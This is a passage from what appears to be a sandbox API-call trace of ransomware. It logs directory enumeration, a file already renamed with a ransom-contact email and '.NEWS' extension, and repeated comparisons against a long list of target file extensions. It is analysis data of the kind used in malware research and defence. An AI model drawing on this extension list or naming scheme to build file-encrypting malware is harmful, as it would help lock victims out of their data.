-1 [0063.713] lstrlenW (lpString=".psb") returned 4 [0063.713] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0063.713] lstrlenW (lpString=".psd") returned 4 [0063.713] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0063.713] lstrlenW (lpString=".pst") returned 4 [0063.713] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0063.713] lstrlenW (lpString=".ptx") returned 4 [0063.713] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0063.713] lstrlenW (lpString=".pub") returned 4 [0063.713] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0063.713] lstrlenW (lpString=".pwm") returned 4 [0063.713] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0063.713] lstrlenW (lpString=".pxr") returned 4 [0063.713] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0063.713] lstrlenW (lpString=".py") returned 3 [0063.713] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0063.713] lstrlenW (lpString=".qt") returned 3 [0063.713] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0063.713] lstrlenW (lpString=".r3d") returned 4 [0063.713] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0063.713] lstrlenW (lpString=".raf") returned 4 [0063.713] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0063.713] lstrlenW (lpString=".rar") returned 4 [0063.713] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.713] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.714] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.714] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.714] FindClose (in: hFindFile=0x583188 | out: hFindFile=0x583188) returned 1 [0063.714] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.714] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0063.714] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033") returned 26 [0063.714] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582cc8 [0063.715] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.715] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38f30272, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38f30272, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f3b485, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0063.715] lstrlenW (lpString="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 52 [0063.715] lstrlenW (lpString=".1cd") returned 4 [0063.715] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0063.715] lstrlenW (lpString=".3ds") returned 4 [0063.715] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0063.715] lstrlenW (lpString=".3fr") returned 4 [0063.715] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0063.715] lstrlenW (lpString=".3g2") returned 4 [0063.715] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0063.715] lstrlenW (lpString=".3gp") returned 4 [0063.715] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0063.715] lstrlenW (lpString=".7z") returned 3 [0063.715] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0063.715] lstrlenW (lpString=".accda") returned 6 [0063.715] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0063.715] lstrlenW (lpString=".accdb") returned 6 [0063.715] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0063.715] lstrlenW (lpString=".accdc") returned 6 [0063.715] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0063.715] lstrlenW (lpString=".accde") returned 6 [0063.715] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0063.715] lstrlenW (lpString=".accdt") returned 6 [0063.715] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0063.715] lstrlenW (lpString=".accdw") returned 6 [0063.715] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0063.716] lstrlenW (lpString=".adb") returned 4 [0063.716] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0063.716] lstrlenW (lpString=".adp") returned 4 [0063.716] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0063.716] lstrlenW (lpString=".ai") returned 3 [0063.716] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0063.716] lstrlenW (lpString=".ai3") returned 4 [0063.716] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0063.716] lstrlenW (lpString=".ai4") returned 4 [0063.716] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0063.716] lstrlenW (lpString=".ai5") returned 4 [0063.716] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0063.716] lstrlenW (lpString=".ai6") returned 4 [0063.716] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0063.716] lstrlenW (lpString=".ai7") returned 4 [0063.716] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0063.716] lstrlenW (lpString=".ai8") returned 4 [0063.716] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0063.716] lstrlenW (lpString=".anim") returned 5 [0063.716] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0063.716] lstrlenW (lpString=".arw") returned 4 [0063.716] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0063.716] lstrlenW (lpString=".as") returned 3 [0063.716] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0063.716] lstrlenW (lpString=".asa") returned 4 [0063.716] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0063.716] lstrlenW (lpString=".asc") returned 4 [0063.716] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0063.716] lstrlenW (lpString=".ascx") returned 5 [0063.716] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0063.716] lstrlenW (lpString=".asm") returned 4 [0063.716] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0063.716] lstrlenW (lpString=".asmx") returned 5 [0063.717] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0063.717] lstrlenW (lpString=".asp") returned 4 [0063.717] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0063.717] lstrlenW (lpString=".aspx") returned 5 [0063.717] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0063.717] lstrlenW (lpString=".asr") returned 4 [0063.717] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0063.717] lstrlenW (lpString=".asx") returned 4 [0063.717] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0063.717] lstrlenW (lpString=".avi") returned 4 [0063.717] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0063.717] lstrlenW (lpString=".avs") returned 4 [0063.717] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0063.717] lstrlenW (lpString=".backup") returned 7 [0063.717] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0063.717] lstrlenW (lpString=".bak") returned 4 [0063.717] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0063.717] lstrlenW (lpString=".bay") returned 4 [0063.717] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0063.717] lstrlenW (lpString=".bd") returned 3 [0063.717] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0063.717] lstrlenW (lpString=".bin") returned 4 [0063.717] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0063.717] lstrlenW (lpString=".bmp") returned 4 [0063.717] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0063.717] lstrlenW (lpString=".bz2") returned 4 [0063.717] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0063.717] lstrlenW (lpString=".c") returned 2 [0063.717] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0063.717] lstrlenW (lpString=".cdr") returned 4 [0063.717] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0063.717] lstrlenW (lpString=".cer") returned 4 [0063.717] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0063.718] lstrlenW (lpString=".cf") returned 3 [0063.718] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0063.718] lstrlenW (lpString=".cfc") returned 4 [0063.718] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0063.718] lstrlenW (lpString=".cfm") returned 4 [0063.718] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0063.718] lstrlenW (lpString=".cfml") returned 5 [0063.718] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0063.718] lstrlenW (lpString=".cfu") returned 4 [0063.718] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0063.718] lstrlenW (lpString=".chm") returned 4 [0063.718] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0063.718] lstrlenW (lpString=".cin") returned 4 [0063.718] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0063.718] lstrlenW (lpString=".class") returned 6 [0063.718] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0063.718] lstrlenW (lpString=".clx") returned 4 [0063.718] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0063.718] lstrlenW (lpString=".config") returned 7 [0063.718] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0063.718] lstrlenW (lpString=".cpp") returned 4 [0063.718] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0063.718] lstrlenW (lpString=".cr2") returned 4 [0063.718] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0063.718] lstrlenW (lpString=".crt") returned 4 [0063.718] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0063.718] lstrlenW (lpString=".crw") returned 4 [0063.718] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0063.718] lstrlenW (lpString=".cs") returned 3 [0063.718] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0063.718] lstrlenW (lpString=".css") returned 4 [0063.718] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".csv") returned 4 [0063.719] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".cub") returned 4 [0063.719] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".dae") returned 4 [0063.719] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".dat") returned 4 [0063.719] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".db") returned 3 [0063.719] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0063.719] lstrlenW (lpString=".dbf") returned 4 [0063.719] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".dbx") returned 4 [0063.719] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".dc3") returned 4 [0063.719] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".dcm") returned 4 [0063.719] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".dcr") returned 4 [0063.719] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".der") returned 4 [0063.719] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".dib") returned 4 [0063.719] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".dic") returned 4 [0063.719] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".dif") returned 4 [0063.719] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".divx") returned 5 [0063.719] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0063.719] lstrlenW (lpString=".djvu") returned 5 [0063.719] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0063.719] lstrlenW (lpString=".dng") returned 4 [0063.719] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0063.719] lstrlenW (lpString=".doc") returned 4 [0063.720] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0063.720] lstrlenW (lpString=".docm") returned 5 [0063.720] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0063.720] lstrlenW (lpString=".docx") returned 5 [0063.720] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0063.720] lstrlenW (lpString=".dot") returned 4 [0063.720] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0063.720] lstrlenW (lpString=".dotm") returned 5 [0063.720] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0063.720] lstrlenW (lpString=".dotx") returned 5 [0063.720] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0063.720] lstrlenW (lpString=".dpx") returned 4 [0063.720] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0063.720] lstrlenW (lpString=".dqy") returned 4 [0063.720] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0063.720] lstrlenW (lpString=".dsn") returned 4 [0063.720] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0063.720] lstrlenW (lpString=".dt") returned 3 [0063.720] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0063.720] lstrlenW (lpString=".dtd") returned 4 [0063.720] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0063.720] lstrlenW (lpString=".dwg") returned 4 [0063.720] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0063.720] lstrlenW (lpString=".dwt") returned 4 [0063.720] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0063.720] lstrlenW (lpString=".dx") returned 3 [0063.720] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0063.720] lstrlenW (lpString=".dxf") returned 4 [0063.720] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0063.720] lstrlenW (lpString=".edml") returned 5 [0063.720] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0063.720] lstrlenW (lpString=".efd") returned 4 [0063.720] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0063.720] lstrlenW (lpString=".elf") returned 4 [0063.720] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0063.720] lstrlenW (lpString=".emf") returned 4 [0063.721] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0063.721] lstrlenW (lpString=".emz") returned 4 [0063.721] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0063.721] lstrlenW (lpString=".epf") returned 4 [0063.721] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0063.721] lstrlenW (lpString=".eps") returned 4 [0063.721] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0063.721] lstrlenW (lpString=".epsf") returned 5 [0063.721] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0063.721] lstrlenW (lpString=".epsp") returned 5 [0063.721] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0063.721] lstrlenW (lpString=".erf") returned 4 [0063.721] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0063.721] lstrlenW (lpString=".exr") returned 4 [0063.721] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0063.721] lstrlenW (lpString=".f4v") returned 4 [0063.721] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0063.721] lstrlenW (lpString=".fido") returned 5 [0063.721] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0063.721] lstrlenW (lpString=".flm") returned 4 [0063.721] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0063.721] lstrlenW (lpString=".flv") returned 4 [0063.721] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0063.721] lstrlenW (lpString=".frm") returned 4 [0063.721] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0063.721] lstrlenW (lpString=".fxg") returned 4 [0063.721] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0063.721] lstrlenW (lpString=".geo") returned 4 [0063.721] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0063.721] lstrlenW (lpString=".gif") returned 4 [0063.721] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0063.721] lstrlenW (lpString=".grs") returned 4 [0063.721] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0063.721] lstrlenW (lpString=".gz") returned 3 [0063.722] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0063.722] lstrlenW (lpString=".h") returned 2 [0063.722] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0063.722] lstrlenW (lpString=".hdr") returned 4 [0063.722] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0063.722] lstrlenW (lpString=".hpp") returned 4 [0063.722] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0063.722] lstrlenW (lpString=".hta") returned 4 [0063.722] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0063.722] lstrlenW (lpString=".htc") returned 4 [0063.722] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0063.722] lstrlenW (lpString=".htm") returned 4 [0063.722] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0063.722] lstrlenW (lpString=".html") returned 5 [0063.722] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0063.722] lstrlenW (lpString=".icb") returned 4 [0063.722] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0063.722] lstrlenW (lpString=".ics") returned 4 [0063.722] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0063.722] lstrlenW (lpString=".iff") returned 4 [0063.722] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0063.722] lstrlenW (lpString=".inc") returned 4 [0063.722] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0063.722] lstrlenW (lpString=".indd") returned 5 [0063.722] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0063.722] lstrlenW (lpString=".ini") returned 4 [0063.722] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0063.722] lstrlenW (lpString=".iqy") returned 4 [0063.722] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0063.722] lstrlenW (lpString=".j2c") returned 4 [0063.722] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0063.722] lstrlenW (lpString=".j2k") returned 4 [0063.722] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0063.722] lstrlenW (lpString=".java") returned 5 [0063.722] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0063.723] lstrlenW (lpString=".jp2") returned 4 [0063.723] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0063.723] lstrlenW (lpString=".jpc") returned 4 [0063.723] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0063.723] lstrlenW (lpString=".jpe") returned 4 [0063.723] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0063.723] lstrlenW (lpString=".jpeg") returned 5 [0063.723] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0063.723] lstrlenW (lpString=".jpf") returned 4 [0063.723] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0063.723] lstrlenW (lpString=".jpg") returned 4 [0063.723] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0063.723] lstrlenW (lpString=".jpx") returned 4 [0063.723] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0063.723] lstrlenW (lpString=".js") returned 3 [0063.723] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0063.723] lstrlenW (lpString=".jsf") returned 4 [0063.723] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0063.723] lstrlenW (lpString=".json") returned 5 [0063.723] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0063.723] lstrlenW (lpString=".jsp") returned 4 [0063.723] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0063.723] lstrlenW (lpString=".kdc") returned 4 [0063.723] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0063.723] lstrlenW (lpString=".kmz") returned 4 [0063.723] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0063.723] lstrlenW (lpString=".kwm") returned 4 [0063.723] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0063.723] lstrlenW (lpString=".lasso") returned 6 [0063.723] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0063.723] lstrlenW (lpString=".lbi") returned 4 [0063.723] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0063.723] lstrlenW (lpString=".lgf") returned 4 [0063.723] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0063.723] lstrlenW (lpString=".lgp") returned 4 [0063.723] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0063.724] lstrlenW (lpString=".log") returned 4 [0063.724] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0063.724] lstrlenW (lpString=".m1v") returned 4 [0063.724] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0063.724] lstrlenW (lpString=".m4a") returned 4 [0063.724] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0063.724] lstrlenW (lpString=".m4v") returned 4 [0063.724] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0063.724] lstrlenW (lpString=".max") returned 4 [0063.724] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0063.724] lstrlenW (lpString=".md") returned 3 [0063.724] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0063.724] lstrlenW (lpString=".mda") returned 4 [0063.724] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0063.724] lstrlenW (lpString=".mdb") returned 4 [0063.724] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0063.724] lstrlenW (lpString=".mde") returned 4 [0063.724] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0063.724] lstrlenW (lpString=".mdf") returned 4 [0063.724] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0063.724] lstrlenW (lpString=".mdw") returned 4 [0063.724] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0063.724] lstrlenW (lpString=".mef") returned 4 [0063.724] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0063.724] lstrlenW (lpString=".mft") returned 4 [0063.724] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0063.724] lstrlenW (lpString=".mfw") returned 4 [0063.724] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0063.724] lstrlenW (lpString=".mht") returned 4 [0063.724] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0063.725] lstrlenW (lpString=".mhtml") returned 6 [0063.725] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0063.725] lstrlenW (lpString=".mka") returned 4 [0063.725] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0063.725] lstrlenW (lpString=".mkidx") returned 6 [0063.725] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0063.725] lstrlenW (lpString=".mkv") returned 4 [0063.725] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0063.725] lstrlenW (lpString=".mos") returned 4 [0063.725] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0063.725] lstrlenW (lpString=".mov") returned 4 [0063.725] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0063.725] lstrlenW (lpString=".mp3") returned 4 [0063.725] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0063.725] lstrlenW (lpString=".mp4") returned 4 [0063.725] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0063.725] lstrlenW (lpString=".mpeg") returned 5 [0063.725] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0063.725] lstrlenW (lpString=".mpg") returned 4 [0063.725] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0063.725] lstrlenW (lpString=".mpv") returned 4 [0063.725] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0063.725] lstrlenW (lpString=".mrw") returned 4 [0063.725] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0063.725] lstrlenW (lpString=".msg") returned 4 [0063.725] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned 